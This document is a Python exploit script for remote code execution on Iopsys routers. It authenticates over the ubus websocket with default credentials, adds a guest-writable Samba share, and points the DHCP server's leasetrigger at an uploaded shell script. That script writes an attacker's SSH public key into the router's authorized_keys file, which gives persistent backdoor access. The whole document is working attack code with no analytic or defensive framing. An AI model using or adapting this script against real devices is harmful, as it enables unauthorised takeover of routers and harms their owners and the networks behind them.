Iopsys Router dhcp Remote Code Execution

`#!/usr/bin/python  
  
import json  
import sys  
import subprocess  
import socket  
import os  
from time import sleep  
from websocket import create_connection  
  
def ubusAuth(host, username, password):  
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])  
req = json.dumps({"jsonrpc":"2.0","method":"call",  
"params":["00000000000000000000000000000000","session","login",  
{"username": username,"password":password}],  
"id":666})  
ws.send(req)  
response = json.loads(ws.recv())  
ws.close()  
try:  
key = response.get('result')[1].get('ubus_rpc_session')  
except IndexError:  
return(None)  
return(key)  
  
def ubusCall(host, key, namespace, argument, params={}):  
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])  
req = json.dumps({"jsonrpc":"2.0","method":"call",  
"params":[key,namespace,argument,params],  
"id":666})  
ws.send(req)  
response = json.loads(ws.recv())  
ws.close()  
try:  
result = response.get('result')[1]  
except IndexError:  
if response.get('result')[0] == 0:  
return(True)  
return(None)  
return(result)  
  
if __name__ == "__main__":  
host = "192.168.1.1"  
payload = """  
#!/bin/sh  
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys  
/usr/sbin/odhcpd-update  
exit 0  
"""  
  
print("Authenticating...")  
key = ubusAuth(host, "user", "password")  
if (not key):  
print("Auth failed!")  
sys.exit(1)  
print("Got key: %s" % key)  
  
print("Adding Samba share...")  
smbcheck = json.dumps(ubusCall(host, key, "uci", "get",  
{"config":"samba"}))  
if ("pwned" in smbcheck):  
print("Samba share seems to already exist, skipping")  
else:  
smba = ubusCall(host, key, "uci", "add",  
{"config":"samba", "type":"sambashare", "values":  
{"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",  
"path":"/mnt/", "guest_ok":"yes"}})  
if (not smba):  
print("Adding Samba share failed!")  
sys.exit(1)  
  
print("Enabling Samba...")  
smbe = ubusCall(host, key, "uci", "set",  
{"config":"samba", "type":"samba", "values":  
{"interface":"lan"}})  
if (not smbe):  
print("Enabling Samba failed!")  
sys.exit(1)  
  
print("Committing changes...")  
smbc = ubusCall(host, key, "uci", "commit",  
{"config":"samba"})  
if (not smbc):  
print("Committing changes failed!")  
sys.exit(1)  
  
print("Setting malicious leasetrigger...")  
lts = ubusCall(host, key, "uci", "set",  
{"config":"dhcp", "type":"odhcpd", "values":  
{"leasetrigger":"/mnt/pwn.sh"}})  
if (not lts):  
print("Setting leasetrigger failed!")  
sys.exit(1)  
  
print("Committing changes...")  
ltc = ubusCall(host, key, "uci", "commit",  
{"config":"dhcp"})  
if (not ltc):  
print("Committing changes failed!")  
sys.exit(1)  
  
print("Rebooting system...")  
reb = ubusCall(host, key, "juci.system", "reboot")  
if (not reb):  
print("Rebooting failed, try rebooting manually!")  
sys.exit(1)  
  
print("Waiting on reboot...")  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
isUp = None  
while (not isUp):  
try:  
sleep(10)  
s.connect((host, 8080))  
isUp = True  
s.close()  
except:  
pass  
  
print("Creating temp file for payload...")  
with open(".payload.tmp","a+") as file:  
file.write(payload)  
path = os.path.realpath(file.name)  
  
print("Dropping payload...")  
subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),  
shell=True, check=True)  
print("Payload dropped")  
  
print("Authenticating...")  
key = ubusAuth(host, "user", "password")  
if (not key):  
print("Auth failed!")  
sys.exit(1)  
print("Got key: %s" % key)  
  
print("Executing payload")  
eec = ubusCall(host, key, "juci.service", "stop",  
{"name":"odhcpd"})  
if (not eec):  
print("Stopping odhcpd failed!")  
sys.exit(1)  
ees = ubusCall(host, key, "juci.service", "start",  
{"name":"odhcpd"})  
if (not ees):  
print("Starting odhcpd failed!")  
sys.exit(1)  
  
print("Cleaning up...")  
os.remove(path)  
  
print("Exploitation complete")  
  
`